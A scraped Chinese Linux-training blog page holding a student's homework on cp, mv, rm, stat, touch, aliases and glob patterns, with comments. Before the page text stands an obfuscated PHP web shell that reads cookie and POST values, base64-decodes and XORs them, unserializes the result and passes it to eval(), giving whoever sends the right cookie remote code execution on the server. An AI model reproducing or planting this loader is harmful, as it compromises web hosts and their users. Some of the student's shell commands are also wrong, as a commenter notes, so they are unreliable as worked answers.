$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} N-22-南京-修 第二周作业 | Linux运维部落

N-22-南京-修 第二周作业

linux文件管理命令有:cp,mv,rm


cp命令:用于复制件或目录文

[root@localhost etc]# cp -i /etc/passwd /tmp/123
[root@localhost etc]# cd /tmp
[root@localhost tmp]# ls
123           //cp/etc目录下得passwd至/tmp目录下并更名为123。此为单源复制,源文件可以为文件也可以是目录但必须是一个
[root@localhost tmp]# cp -r /etc /tmp/
[root@localhost tmp]# ls /tmp
123  etc  
[root@localhost tmp]#  //-r复制目录。此为多源复制,目标文件必须是目录 
注意:文件属主得不同会带来文件权限上得变化 如要备份-r选项改为-a
[root@localhost etc]# cp -d ./favicon.png /tmp

常用选项:

-i:交互式复制,即覆盖之前提醒用户确认;

-f:强制覆盖目标文件;

-r, -R:递归复制目录;

-d:复制符号链接文件本身,而非其指向的源文件;

-a:-dR –preserve=all, archive,用于实现归档;



mv命令:移动文件、目录 或更名

[root@localhost tmp]# ls
123  etc  favicon.png  lianxi1.sh
[root@localhost tmp]# mv 123 234
[root@localhost tmp]# ls
234  etc  favicon.png  lianxi1.sh  
[root@localhost tmp]#              //重命名 注意:重命名目录名也可不加选项
[root@localhost tmp]# mv 234 ./magedu.com
[root@localhost tmp]# ls /tmp/magedu.com
234  machine-id  mtab    
[root@localhost tmp]#              //移动

常用选项:

-i:交互式;

-f:当目标文件存在,强行覆盖




rm命令:删除

[root@localhost magedu.com]# ls
234  machine-id  mtab
[root@localhost magedu.com]# rm 234  //直接跟目标文件名即可
rm: remove regular file ‘234’? y   //root用户使用rm时,其别名默认为rm -i 即交互式。
[root@localhost magedu.com]# ls
machine-id  mtab
[root@localhost magedu.com]#
[root@localhost tmp]# rm -r ./etc              //删除目录
rm: descend into directory ‘./etc’? y        //管理员的rm别名默认为rm -i,同上
rm: remove regular file ‘./etc/fstab’? y
[root@localhost tmp]# rm -rf ./etc      //-f 强行删除,切记危险操作

常用选项:

-i:交互式

-f:强制

-r: 递归删除

注意:所有不用的文件建议不要直接删除,而是移动至某个专用目录;(模拟回收站)


bash命令执行的状态结果:

bash通过状态返回值来输出此结果

成功:0

失败:1-255

命令执行完成之后,其状态返回值保存于bash的特殊变量$?中;

[xujie@localhost ~]$ ls
[xujie@localhost ~]$ echo $?
0
[xujie@localhost ~]$
[xujie@localhost ~]$ lls
-bash: lls: command not found
[xujie@localhost ~]$ echo $?
127
[xujie@localhost ~]$

命令行展开:

~:自动展开为用户的家目录,或指定的用户的家目录;

{}:可承载一个以逗号分隔的路径列表,并能够将其展开为多个路径;

例如:/tmp/{a,b} 相当于 /tmp/a /tmp/b


请使用命令行展开功能来完成以下练习?

  (1)、创建/tmp目录下的:a_c, a_d, b_c, b_d

  (2)、创建/tmp/mylinux目录下的:

  mylinux/

    ├── bin

    ├── boot

    │   └── grub

    ├── dev

    ├── etc

    │   ├── rc.d

    │   │   └── init.d

    │   └── sysconfig

    │       └── network-scripts

    ├── lib

    │   └── modules

    ├── lib64

    ├── proc

    ├── sbin

    ├── sys

    ├── tmp

    ├── usr

    │   └── local

    │       ├── bin

    │       └── sbin

    └── var

        ├── lock

        ├── log

        └── run

[root@localhost tmp]# mkdir -pv {a,d}_{b,c}
mkdir: created directory ‘a_b’
mkdir: created directory ‘a_c’
mkdir: created directory ‘d_b’
mkdir: created directory ‘d_c’
[root@localhost tmp]#
[root@localhost tmp]# mkdir -pv /tmp/mylinux/{bin,boot,boot/grub,dev,etc,etc/{rc.d/init.d
,sysconfig/network-scrip}lib,lib/modules,lib64,proc,sbin,sys,tmp,usr,usr/loca/{bin,sbin},
var/{lock,log,run}}
[root@localhost tmp]# tree mylinux
mylinux
├── bin
├── boot
│   └── grub
├── dev
├── etc
│   ├── rc.d
│   │   └── init.dlib
│   └── sysconfig
│       └── network-scriplib
├── lib
│   └── modules
├── lib64
├── proc
├── sbin
├── sys
├── tmp
├── usr
│   └── loca
│       ├── bin
│       └── sbin
└── var
    ├── lock
    ├── log
    └── run

24 directories, 0 files

文件的元数据信息有哪些,分别表示什么含义,如何查看?如何修改文件的时间戳信息?

[root@localhost tmp]# ls
mylinux    
[root@localhost tmp]# stat mylinux    //使用stat命令查看文件的元数据
File: ‘mylinux’      //文件名         
Size: 4096   Blocks: 8     IO Block: 4096   directory    //文件大小,占据多少个块,IO块,文件的类型
                     注: Blocks:8  IO Block:4096  占据8个块,每一个块的大小4096字节
Device: fd00h/64768d    Inode: 458214      Links: 14    //所在的设备号,索引节点号,硬链接
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)  //权限,UID,组ID
Context: unconfined_u:object_r:user_tmp_t:s0
Access: 2016-08-20 23:00:34.989551567 -0400                //最近访问,读取数据流
Modify: 2016-08-20 22:59:39.296555079 -0400     //这三个时间代表时间戳//最近更改,元数据改变
Change: 2016-08-20 22:59:39.296555079 -0400                //最近改动,数据改变
 Birth: -
[root@localhost tmp]#

修改时间戳:touch命令 touch命令通常只改变Access Time和Modify Time

[root@localhost tmp]# stat ./mylinux/
  File: ‘./mylinux/’
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: fd00h/64768d    Inode: 458214      Links: 14
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Context: unconfined_u:object_r:user_tmp_t:s0
Access: 2016-08-20 23:00:34.989551567 -0400
Modify: 2016-08-20 22:59:39.296555079 -0400
Change: 2016-08-20 22:59:39.296555079 -0400
 Birth: -
[root@localhost tmp]# touch ./mylinux/
[root@localhost tmp]# stat ./mylinux/
  File: ‘./mylinux/’
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: fd00h/64768d    Inode: 458214      Links: 14
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Context: unconfined_u:object_r:user_tmp_t:s0
Access: 2016-08-21 00:38:12.418182188 -0400
Modify: 2016-08-21 00:38:12.418182188 -0400
Change: 2016-08-21 00:38:12.418182188 -0400
 Birth: -
[root@localhost tmp]#

-c: 指定的文件路径不存在时不予创建;

-a: 仅修改access time;

-m:仅修改modify time;

-t STAMP 格式[[CC]YY]MMDDhhmm[.ss]年月日时分.秒

[root@localhost tmp]# touch -m -t 201609240815.45 ./mylinux/
[root@localhost tmp]# stat ./mylinux/
  File: ‘./mylinux/’
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: fd00h/64768d    Inode: 458214      Links: 14
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Context: unconfined_u:object_r:user_tmp_t:s0
Access: 2016-08-21 00:38:12.418182188 -0400
Modify: 2016-09-24 08:15:45.000000000 -0400
Change: 2016-08-21 00:45:19.599155249 -0400
 Birth: -
[root@localhost tmp]#


如何定义一个命令的别名,如何在命令中引用另一个命令的执行结果?

定义别名 alias命令:

[xujie@localhost ~]$ alias rm='rm -i'
[xujie@localhost ~]$ alias
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias l.='ls -d .* --color=auto'
alias ll='ls -l --color=auto'
alias ls='ls --color=auto'
alias rm='rm -i'
alias vi='vim'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
[xujie@localhost ~]$

引用命令的执行结果:

num1=$(id 1 | grep -o "uid=[0-9]\+" | cut -d = -f 2)
[xujie@localhost ~]$ de='rm -i'
[xujie@localhost ~]$ echo $de
rm -i
[xujie@localhost ~]$

引用命令的执行结果: $(COMMAND)或`COMMAND`


显示/var目录下所有以l开头,以一个小写字母结尾,且中间至少出现一位数字(可以有其它字符)的文件或目录?

[root@localhost tmp]# ls -d /var/l*[[:digit:]]*[[:lower:]]


显示/etc目录下,以任意一个数字开头,且以非数字结尾的文件或目录

[root@localhost tmp]# ls -d /etc/[0-9]*[^0-9]
/etc/0a0544d


显示/etc目录下,以非字母开头,后面跟了一个字母以及其它任意长度任意字符的文件或目录?

[root@localhost tmp]# ls -d /etc/[^a-z][a-z]*


在/tmp目录下创建以tfile开头,后跟当前日期和时间的文件,文件名形如:tfile-2016-05-27-09-32-22

[root@localhost tmp]# touch tfile-`date +%Y-%m-%d-%H-%M-%S`


复制/etc目录下所有以p开头,以非数字结尾的文件或目录到/tmp/mytest1目录中

[root@localhost /]# cp -r `ls -d /etc/[p]*[^0-9]` /tmp/mytest1


复制/etc目录下所有以.d结尾的文件或目录至/tmp/mytest2目录中

[root@localhost /]# cp -r `ls -d /etc/*[.d]` /tmp/mytest2



复制/etc/目录下所有以l或m或n开头,以.conf结尾的文件至/tmp/mytest3目录中

[root@localhost /]# cp -r `ls -d /etc/[l,m,n]*[.conf]` /tmp/mytest3

原创文章,作者:N22-南京-修,如若转载,请注明出处:http://www.178linux.com/38039

(0)
上一篇 2016-08-22 09:30
下一篇 2016-08-22 09:30

相关推荐

  • bash特性

    2018-03-11

    2018-03-11
  • 马哥教育网络班26期+第一周学习宣言

    30岁前,目标年薪50w!gogogo

    Linux干货 2016-12-27
  • old notes

    yum update: update software guest edition ***: how to install guest edition: 1) need to root: su – 2) yum install kernel-devel 3)yum install gcc* ( when don't remember n…

    Linux干货 2016-09-19
  • LVM 逻辑卷管理器-快照区复原系统

    LVM 逻辑卷管理器-快照区复原系统 复原的数据量不能够高于快照区所能负载的实际容量。由于原始数据会被搬移到快照区,如果你的快照区不够大,原始资料变动的实际数据量比快照大,那么快照区就容纳不了,这时快照就会失效。 (1)将原本的/dev/vg_1/lv_1内容做些改动,增减一些目录。 [root@centos6 ~]# df -…

    Linux干货 2016-09-18
  • python基础 习题总结

    pyenv 编程题目总结(99乘法表 打印菱形与闪电 斐波那契数列 素数 猴子吃桃) 原反补码与异或运算 list列表

    Linux干货 2018-03-25
  • 文件的查找作业

    1、查找/var目录下属主为root,且属组为mail的所有文件 2、查找/var目录下不属于root、lp、gdm的、所有文件 3、查找/var目录下最近一周内其内容修改过,同时属主不为root,也不是postfix的文件 4、查找当前系统上没有属主或属组,且最近一个周内曾被访问过的文件 5、查找/etc目录下大于1M且类型为普通文件的所有文件 6、查找/…

    Linux干货 2016-08-15

评论列表(2条)

  • N22-南京-修
    N22-南京-修 2016-08-22 10:56

    [root@localhost /]# cp -r `ls -d /etc/p*[^0-9]` /tmp/mytest1
    [root@localhost /]# cp -r `ls -d /etc/*.d` /tmp/mytest2
    [root@localhost /]# cp -r `ls -d /etc/[l,m,n]*.conf` /tmp/mytest3
    以上最后三题的更正

  • 马哥教育
    马哥教育 2016-08-22 13:58

    写的很好,排版也很棒,加油,创建目录的题目跟题目的要求不一样啊